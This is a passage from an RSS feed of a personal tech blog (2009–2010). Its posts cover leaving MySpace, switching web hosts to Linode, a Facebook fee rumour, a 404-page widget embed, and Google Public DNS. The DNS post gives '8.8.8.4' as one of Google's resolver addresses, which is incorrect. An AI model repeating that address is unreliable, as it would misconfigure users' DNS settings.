		<description><![CDATA[I haven&#8217;t been on MySpace for a long time. In my opinion, it has become a useless website; social networking has moved on. Even when it was &#8220;in&#8221;, it was ugly and difficult to use. Since becoming dormant, I had no use for my account and decided to close it&#8230; And then MySpace gave me [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F03%2Fleaving-myspace%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F03%2Fleaving-myspace%2F" height="61" width="51" /></a></div><p>I haven&#8217;t been on MySpace for a long time. In my opinion, it has become a useless website; social networking has moved on. Even when it was &#8220;in&#8221;, it was ugly and difficult to use. Since becoming dormant, I had no use for my account and decided to close it&#8230;<span id="more-183"></span></p>
<p>And then MySpace gave me yet another reason for dis-liking the site. They asked me why I wanted to leave. The options were:</p>
<ul>
<li>&#8220;I&#8217;m bored with MySpace&#8221;</li>
<li>&#8220;I&#8217;m getting too much spam or too many friend requests&#8221;</li>
<li>&#8220;I&#8217;m concerned about Privacy&#8221;</li>
<li>&#8220;I&#8217;m getting too much email from MySpace&#8221;</li>
<li>&#8220;There is too much drama&#8221;</li>
<li>&#8220;Some other reason&#8221;</li>
</ul>
<div id="attachment_184" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/07/myspace_cancel.jpg"><img class="size-medium wp-image-184" title="myspace_cancel" src="http://infinity-infinity.com/wp-content/uploads/2009/07/myspace_cancel-300x112.jpg" alt="MySpace's 'Cancel Account' page" width="300" height="112" /></a><p class="wp-caption-text">MySpace&#39;s &#39;Cancel Account&#39; page</p></div>
<p>Crazily enough, these are radio options: It&#8217;s impossible to select them all. In fact, they are not interested in improving their service; they are interested in stopping you from leaving. <em>Click</em> any option, and you&#8217;ll be told you are <em>wrong</em> &#8212; apparently, there&#8217;s no valid reason for leaving MySpace. In fact, <em>click</em> &#8220;Some other reason&#8221; and you&#8217;ll be told it&#8217;s because you have no or few friends (same as option 1). What does &#8220;Too much drama&#8221; mean, anyway? Something to do with privacy, apparently:</p>
<div id="attachment_189" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/07/myspace_privacy.jpg"><img class="size-medium wp-image-189" title="myspace_privacy" src="http://infinity-infinity.com/wp-content/uploads/2009/07/myspace_privacy-300x171.jpg" alt="MySpace's &quot;Too much drama&quot; resolution" width="300" height="171" /></a><p class="wp-caption-text">MySpace&#39;s &quot;Too much drama&quot; resolution</p></div>
<p>So, Myspace: I am leaving, and you can&#8217;t stop me!</p>
<p><em>Rant over</em></p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/jpkPvN-OYos" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2010/03/leaving-myspace/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2010/03/leaving-myspace/</feedburner:origLink></item>
		<item>
		<title>Goo.gl URL Shortener (Online version)</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/HJdyxnqlcKs/</link>
		<comments>http://infinity-infinity.com/2010/03/goo-gl-url-shortener-online-version/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 14:40:24 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[getmygoo]]></category>
		<category><![CDATA[goo.gl]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[short url]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=690</guid>
		<description><![CDATA[Get My Goo (http://goo.gl/9wd5) has just lanched, making it easy to create goo.gl short links without using the Google Toolbar or Google Reader. Simply enter your URL and a cool goo.gl URL will be instantly created. The cool bookmarklet allows you to create a short-link for any page you are visiting. Have a look at [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F03%2Fgoo-gl-url-shortener-online-version%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F03%2Fgoo-gl-url-shortener-online-version%2F" height="61" width="51" /></a></div><p><strong><a href="http://goo.gl/9wd5">Get My Goo</a></strong> (<a href="http://goo.gl/9wd5">http://goo.gl/9wd5</a>) has just lanched, making it easy to create goo.gl short links without using the Google Toolbar or Google Reader. Simply enter your URL and a cool goo.gl URL will be instantly created.<span id="more-690"></span></p>
<p>The cool bookmarklet allows you to create a short-link for any page you are visiting. Have a look at this screenshot:</p>
<p><a href="http://infinity-infinity.com/wp-content/uploads/2010/03/getmygoo.png"><img class="aligncenter size-medium wp-image-693" title="getmygoo" src="http://infinity-infinity.com/wp-content/uploads/2010/03/getmygoo-300x152.png" alt="" width="300" height="152" /></a></p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/HJdyxnqlcKs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2010/03/goo-gl-url-shortener-online-version/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2010/03/goo-gl-url-shortener-online-version/</feedburner:origLink></item>
		<item>
		<title>Linode: You’re Amazing! (MediaTemple: You’re not)</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/ozV_qX3FtRc/</link>
		<comments>http://infinity-infinity.com/2010/02/linode-youre-amazing-mediatemple-youre-not/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 21:00:33 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[host]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[linode]]></category>
		<category><![CDATA[mediatemple]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=652</guid>
		<description><![CDATA[Earlier this month, I had been suffering from extremely unstable service from (mt) MediaTemple; this caused quite considerable downtime. In fact, it was so bad that some of my hosted websites became unusable for 2 DAYS! I understand that hosts have problems from time to time, but 2 days!? This is just totally unacceptable, and [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F02%2Flinode-youre-amazing-mediatemple-youre-not%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F02%2Flinode-youre-amazing-mediatemple-youre-not%2F" height="61" width="51" /></a></div><p>Earlier this month, I had been suffering from extremely <a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1107-latency-reported-gs-grid-service-cluster-5/">unstable service</a> from (mt) MediaTemple; this caused quite considerable downtime. In fact, it was so bad that some of my hosted websites became unusable for 2 <strong>DAYS</strong>! I understand that hosts have problems from time to time, but 2 days!? This is just totally unacceptable, and so I decided to pack my bags and look for a more reliable host.</p>
<p>I had <a href="http://www.linode.com/?r=0e267f7ac0f46b8ea929efa54900c053fc305ee7">Linode</a> (<abbr title="affiliate link">aff</abbr>), a Virtual Private Server (VPS) host, in my bookmarks for quite a while; just in case I decided to move host in the future. A &#8216;Linode 360&#8242; provides 360MB of RAM, 16 GB of storage and 200 GB of data transfer for a mere $19.95 per month. {(mt) MediaTemple offer &#8216;more&#8217;, but you are unlikely to get anywhere near using it without overaging on &#8216;GPUs&#8217; or database usage; I was eventually forced to buy a <a href="http://mediatemple.net/webhosting/gs/features/containers.php#mysql">MySQL container</a>, and my sites receive very little traffic at all.}<span id="more-652"></span></p>
<p>I found the decision of web host a difficult choice to make. I ended up choosing a VPS (it was out of Slicehost and Linode) just to give it a go. And now, I don&#8217;t think I&#8217;ll ever go back. VPS has its disadvantages (like taking ages to set-up), granted; but the power and flexibility of it is something I couldn&#8217;t help but get exited about. With VPS, you don&#8217;t get stupid rules like &#8217;5 cron jobs per account&#8217;; in fact, you can pretty much do whatever you like.</p>
<p>Take a look at a <a href="http://www.pingdom.com/reports/hc68pyt40is1/month/?name=Taxomation&amp;month=2&amp;year=2010">Pingdom report for Taxomation</a>. Day four was when it moved over to Linode. 2 hours of downtime that day was due to the (mt) MediaTemple hosting, and the downtime on consecutive days due to problems <strong>I</strong> inflicted on the Linode account. (Maybe I should have got everything working before I migrated, no? <img src='http://infinity-infinity.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .) With (mt) MediaTemple, page loads were typically taking 0.85s. With Linode, that time has been almost halved to 0.46s.</p>
<p>If you are looking for a new web host and know enough about web server software, why not give Linode a go? I&#8217;m sure you will not regret it! You can get there using my <a href="http://www.linode.com/?r=0e267f7ac0f46b8ea929efa54900c053fc305ee7">wonderful affiliate link</a> (<em>Why not?</em>) or with this <a href="http://www.linode.com/">non-affiliate link</a>.</p>
<p>Bye, bye MediaTemple!</p>
<p>Please share you web hosting experiences&#8230;</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/ozV_qX3FtRc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2010/02/linode-youre-amazing-mediatemple-youre-not/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2010/02/linode-youre-amazing-mediatemple-youre-not/</feedburner:origLink></item>
		<item>
		<title>Re: ‘Merry Christmas from Google’</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/E6HzqUX0Lss/</link>
		<comments>http://infinity-infinity.com/2009/12/re-merry-christmas-from-google/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 23:24:26 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[charity]]></category>
		<category><![CDATA[christmas]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=629</guid>
		<description><![CDATA[I have just received an e-mail from Google, with a Christmas gift: Hello, As we near the end of the year, we wanted to take a moment to thank you for the time, energy, commitment, and trust you&#8217;ve shared with us in 2009. With sharing in mind, this year we&#8217;ve decided to do something a [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fre-merry-christmas-from-google%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fre-merry-christmas-from-google%2F" height="61" width="51" /></a></div><p><!--<!-no-adsense-->I have just received an e-mail from Google, with a Christmas gift:</p>
<blockquote><p>Hello,</p>
<p>As we near the end of the year, we wanted to take a moment to thank you for the time, energy, commitment, and trust you&#8217;ve shared with us in 2009.</p>
<p>With sharing in mind, this year we&#8217;ve decided to do <a href="http://www.google.co.uk/intl/en/advertising/holiday2009/">something a little different</a>. We hope you&#8217;ll find it fits the spirit of the Christmas season.</p>
<p>We&#8217;re looking forward to working with you to build lasting success in 2010.</p>
<p>With best wishes for Christmas and the New Year,<br />
Your Google Team</p></blockquote>
<p><span id="more-629"></span></p>
<blockquote><p>
This gift is for someone very special: Everyone.<br />
Because charities are experiencing their toughest year in decades, we have committed $20 million (£12.4 million) to helping those who help us all. Our gift to you is a gift to them. Merry Christmas.
</p></blockquote>
<p><a href="http://infinity-infinity.com/wp-content/uploads/2009/12/google_gift_email.jpg"><img src="http://infinity-infinity.com/wp-content/uploads/2009/12/google_gift_email-286x300.jpg" alt="" title="google_gift_email" width="286" height="300" class="aligncenter size-medium wp-image-637" /></a></p>
<p><a href="http://infinity-infinity.com/wp-content/uploads/2009/12/google_gift.jpg"><img src="http://infinity-infinity.com/wp-content/uploads/2009/12/google_gift-300x140.jpg" alt="Google gives to charity" title="google_gift" width="300" height="140" class="aligncenter size-medium wp-image-635" /></a></p>
<p>Thanks Google! Merry Christmas!</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/E6HzqUX0Lss" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/12/re-merry-christmas-from-google/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2009/12/re-merry-christmas-from-google/</feedburner:origLink></item>
		<item>
		<title>Facebook to charge £14.99 per month</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/O8wrFR5KXqA/</link>
		<comments>http://infinity-infinity.com/2009/12/facebook-to-charge-14-99-per-month/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 00:05:39 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[facebook]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=615</guid>
		<description><![CDATA[Facebook are to charge £14.99 per month to access the site, in plans to be implemented July next year. Or so a Facebook group says. Now, you would expect the &#8216;average&#8217; person to see that this is a rumour. But over 800,000 members (currently growing strong at 250,000 per day) have signed up to demonstrate [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Ffacebook-to-charge-14-99-per-month%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Ffacebook-to-charge-14-99-per-month%2F" height="61" width="51" /></a></div><p><!--<!-no-adsense--> <a href="http://facebook.com">Facebook</a> are to charge £14.99 per month to access the site, in plans to be implemented July next year. Or so a <a href="http://www.facebook.com/group.php?v=wall&amp;gid=387113115536">Facebook group</a> says.<span id="more-615"></span></p>
<p><a href="http://infinity-infinity.com/wp-content/uploads/2009/12/facebook_14.99.png"><img class="aligncenter size-medium wp-image-617" title="facebook_14.99" src="http://infinity-infinity.com/wp-content/uploads/2009/12/facebook_14.99-300x215.png" alt="" width="300" height="215" /></a></p>
<p>Now, you would expect the &#8216;average&#8217; person to see that this is a rumour. But over 800,000 members (currently growing strong at 250,000 per day) have signed up to demonstrate their naïvety. What&#8217;s more is that many people are already making plans to head back to MySpace. Maybe Facebook should put them out of their misery?</p>
<p>Wow.</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/O8wrFR5KXqA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/12/facebook-to-charge-14-99-per-month/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2009/12/facebook-to-charge-14-99-per-month/</feedburner:origLink></item>
		<item>
		<title>Chat to Strangers on Facebook</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/kff7N3BOkOs/</link>
		<comments>http://infinity-infinity.com/2009/12/chat-to-strangers-on-facebook/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 11:38:12 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[22talk]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[services]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=604</guid>
		<description><![CDATA[A few days ago, I was thinking of ways to drive more traffic to 22Talk. Unlike my other websites, 22Talk&#8217;s traffic is more time dependent in that more than 1 user must be online at the same time for it to work at all (and lots more for it to work effectively). I tried StumbleUpon [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fchat-to-strangers-on-facebook%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fchat-to-strangers-on-facebook%2F" height="61" width="51" /></a></div><p>A few days ago, I was thinking of ways to drive more traffic to <a href="http://22talk.com">22Talk</a>. Unlike my other websites, 22Talk&#8217;s traffic is more time dependent in that more than 1 user must be online at the <em>same</em> time for it to work at all (and lots more for it to work effectively).<span id="more-604"></span></p>
<p>I tried<a href="http://stumbleupon.com"> StumbleUpon Ads</a> a few months ago, and that worked well: I managed to get around 50 simultaneous users online (<em>for about 15 minutes, though</em>). Unfortunately, only a small number of users from these campaigns returned to 22Talk, making the site useless again. And at $0.05 per visitor, I was unable to see how I would re-coup my costs.</p>
<p>But then, on Saturday, I had an epiphany: Rather than drive users to 22Talk, why not drive 22Talk to the users? And then, <a href="http://apps.facebook.com/strangers-chat/">22Talk on Facebook</a> was born. It is more-or-less identical to how 22Talk worked before, but in the more social environment of <a href="http://www.facebook.com/">Facebook</a>. Because of Facebook&#8217;s great <a href="http://developers.facebook.com/">API</a>, I have been able to make the site more user-orientated: If you find someone you like, you can now add them as a friend for life! (You can also go completely Anonymous, if you prefer).</p>
<p>The app is brand new (not in the directory yet). At the moment, you could be waiting a while for a stranger to come along &#8212; but please do wait. Please tell all of your Facebook friends to try it out, <strong>blog about this</strong>, and let&#8217;s see whether we can get enough users to get 22Talk rolling.</p>
<p>Merry Christmas!</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/kff7N3BOkOs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/12/chat-to-strangers-on-facebook/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2009/12/chat-to-strangers-on-facebook/</feedburner:origLink></item>
		<item>
		<title>Enhance your 404 page with Related Pages</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/m7wONSqy3Zc/</link>
		<comments>http://infinity-infinity.com/2009/12/enhance-your-404-page-with-related-pages/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 21:35:16 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Accessibility]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[errors]]></category>
		<category><![CDATA[help]]></category>
		<category><![CDATA[navigation]]></category>
		<category><![CDATA[services]]></category>
		<category><![CDATA[taxomation]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[widgets]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=590</guid>
		<description><![CDATA[Taxomation.com have just released &#8216;404 widget&#8216; &#8212; a useful tool for helping your site&#8217;s lost users. The widget looks at the URL a visitor tried to load, and extracts keywords from it. It then runs over to Yahoo! and finds related pages from your site &#8212; all just in time to be displayed to the [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fenhance-your-404-page-with-related-pages%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fenhance-your-404-page-with-related-pages%2F" height="61" width="51" /></a></div><p><a href="http://taxomation.com/">Taxomation.com</a> have just released &#8216;<a href="http://www.taxomation.com/!api/">404 widget</a>&#8216; &#8212; a useful tool for helping your site&#8217;s lost users. The widget looks at the URL a visitor tried to load, and extracts keywords from it. It then runs over to Yahoo! and finds related pages from your site &#8212; all just in time to be displayed to the visitor, who can choose a page or keep searching.<span id="more-590"></span></p>
<p>It is similar to <a href="http://googlewebmastercentral.blogspot.com/2008/08/make-your-404-pages-more-useful.html">Google&#8217;s widget</a>, except that more than one page is displayed and text from the page is also included. The Taxomation widget can be customised for your site (changing colours, etc) and is simple to set-up: you just need to copy a little code, and everything works instantly. Why not <a href="http://www.taxomation.com/!api/">grab yours now</a>, and see what you think&#8230;</p>
<p>Here&#8217;s a live example for the page &#8216;http://webinfodb.net/api.<strong>html</strong>&#8216; rather than &#8216;http://webinfodb.net/api.<strong>php</strong>&#8216;:</p>
<p><!-- Taxomation 404 widget --></p>
<div id="taxomation-404-widget"></div>
<p><script type="text/javascript">
var taxomation_404 = {
	width: 560,
	height: 350,
	background:    "#202020",
	text_colour:   "#F6FCFF",
	title_colour:  "#018DD8",
	url_colour:    "#F6FCFF",
	border_colour: "#CCCCCC",
	num_results: 10,
        url: "http://webinfodb.net/api.html"
};
setTimeout(function() { var a = document.getElementById("taxomation-404-widget"); var s = document.createElement("script"); s.type = "text/javascript"; s.src = "http://www.taxomation.com/!api/404_widget.js"; a.appendChild(s); }, 1);
</script><br />
<!-- End Taxomation 404 widget --></p>
<p>(If you are looking for another example, mis-type a URL on this site; it has the widget installed).</p>
<p>You may also be interested in reading the following about creating more useful 404 pages:</p>
<ul>
<li><a href="http://www.codinghorror.com/blog/archives/000819.html">Creating User Friendly 404 Pages (Coding Horror)</a></li>
<li><a href="http://www.google.com/support/webmasters/bin/answer.py?hl=en&#038;answer=93641">Creating useful 404 pages (Google)</a></li>
<li><a href="http://www.alistapart.com/articles/amoreuseful404/">A More Useful 404 (A List Apart)</a></li>
<li><a href="http://www.blogforprofit.com/featured/make-your-404-page-useful/">Make your 404 Page Useful (Blog for Profit)</a></li>
<li><a href="http://www.pauljohnpena.com/2009/04/usability-create-404-page-thats-useful.html">Usability: Create a 404 page that&#8217;s useful and relevant (azngamerboi 2.0)</a></li>
</ul>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/m7wONSqy3Zc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/12/enhance-your-404-page-with-related-pages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2009/12/enhance-your-404-page-with-related-pages/</feedburner:origLink></item>
		<item>
		<title>Google Launches OpenDNS Alternative</title>
		<link>http://feedproxy.google.com/~r/infinity-infinity/~3/fCG_GVH4qH0/</link>
		<comments>http://infinity-infinity.com/2009/12/google-launches-opendns-alternative/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 22:56:12 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[opendns]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=581</guid>
		<description><![CDATA[Today, Google announced the release of Google Public DNS &#8212; a complete alternative to the Domain Name System (DNS) offered by your ISP, OpenDNS and similar services. Google claims that their DNS service is fast, secure, and &#8212; unlike many ISPs and OpenDNS &#8212; they promise never to filter, block or redirect DNS responses. From [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fgoogle-launches-opendns-alternative%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F12%2Fgoogle-launches-opendns-alternative%2F" height="61" width="51" /></a></div><p>Today, Google announced the release of <a href="http://googleblog.blogspot.com/2009/12/introducing-google-public-dns.html">Google Public DNS</a> &#8212; a complete alternative to the Domain Name System (DNS) offered by <a href="http://infinity-infinity.com/2009/08/virgin-media-advanced-search-really-useful/">your ISP</a>, <a href="http://www.opendns.com/">OpenDNS</a> and similar services. Google claims that their DNS service is <a href="http://code.google.com/speed/public-dns/docs/performance.html">fast</a>, <a href="http://code.google.com/speed/public-dns/docs/security.html">secure</a>, and &#8212; unlike many ISPs and OpenDNS &#8212; they promise <strong>never</strong> to filter, block or redirect DNS responses.</p>
<p>From previous experience, it can be expected that Google Public DNS will only get better &#8212; but I believe that its openness and <a href="http://code.google.com/speed/">performance</a> are reason enough for it to be adopted now. I have already switched, and<a href="http://code.google.com/speed/public-dns/docs/using.html"> you can do the same</a> in a few seconds.<span id="more-581"></span></p>
<p>If you know what you are doing, you can straight-away configure your connection to use Google&#8217;s DNS servers:<strong> 8.8.8.8</strong> and <strong>8.8.8.4</strong>.</p>
<p>Obviously, there is some anxiety amongst users about Google collecting more and more data all of the time. However, Google have addressed this with a stringent <a href="http://code.google.com/speed/public-dns/privacy.html">privacy policy</a>, summed up as: &#8216;Google Public DNS does not permanently store personally identifiable information.&#8217;</p>
<img src="http://feeds.feedburner.com/~r/infinity-infinity/~4/fCG_GVH4qH0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/12/google-launches-opendns-alternative/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://infinity-infinity.com/2009/12/google-launches-opendns-alternative/</feedburner:origLink></item>
	</channel>
</rss><!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
